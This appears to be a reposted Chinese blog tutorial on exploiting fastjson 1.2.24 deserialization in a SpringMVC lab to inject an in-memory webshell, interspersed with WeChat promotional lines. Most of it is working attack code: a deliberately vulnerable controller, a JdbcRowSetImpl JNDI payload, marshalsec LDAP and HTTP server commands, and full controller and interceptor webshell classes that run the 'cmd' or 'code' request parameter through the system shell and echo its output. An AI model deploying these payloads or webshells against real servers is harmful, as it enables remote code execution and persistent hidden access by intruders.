互联网架构师后台回复 2T 有特别礼包
上一篇:阿里排查Java问题工具清单!
环境搭建
1)组件版本:
2)搭建springMVC+fastjson漏洞环境
可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件
<servlet><servlet-name>SpringMVC</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><!--配置springmvc.xml的路径--><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springmvc.xml</param-value></init-param></servlet><servlet-mapping><servlet-name>SpringMVC</servlet-name><url-pattern>/</url-pattern></servlet-mapping></web-app>
<!--将AnnotationHandler自动扫描到IOC容器中--><context:component-scan base-package="test.controller"></context:component-scan><mvc:annotation-driven/><!--配置视图解析器--><bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"><!--配置前缀--><property name="prefix" value="/"></property><!--配置后缀--><property name="suffix" value=".jsp"></property></bean></beans>
HelloController
@Controllerpublic class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}}
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><!--SpringMVC依赖--><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>4.3.28.RELEASE</version></dependency>
动态注册controller
在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。
1)获取上下文
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
方法二:WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
方法四:getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例
2)注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
https://landgrey.me/blog/12/
内存马
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}}
修改回显
// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}
最终内存马,搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}}
测试
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
1)启动本地http服务,绑定端口8888
python3 -m http.server 8888

2)利用marshalsec启动LDAP服务,绑定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3)访问存在fastjson反序列化的页面,http://localhost:8080/hello
发送payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

成功写入内存马

踩坑
在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续
1.怎么编译恶意class文件
可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错
-》javac InjectToController.javaInjectToController.java:16: 错误: 编码GBK的不可映射字符// 绗竴涓瀯閫犲嚱鏁?^InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^
这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可,搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常


原因在于springmvc.xml文件中,没有开启<mvc:annotation-driven/>选项。
而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。
后记
Interceptor内存马
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { // 获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 从context中获取AbstractHandlerMapping的实例对象 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); // 反射获取adaptedInterceptors属性 java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); // 避免重复添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已经添加过TestInterceptor实例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环 adaptedInterceptors.add(aaa); // 添加全局interceptor } private TestInterceptor(String aaa){} @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干扰正常业务逻辑 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; }}}
注册效果:

参考
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html
感谢您的阅读,也欢迎您发表关于这篇文章的任何建议,关注我,技术不迷茫!小编到你上高速。
正文结束
1.不认命,从10年流水线工人,到谷歌上班的程序媛,一位湖南妹子的励志故事





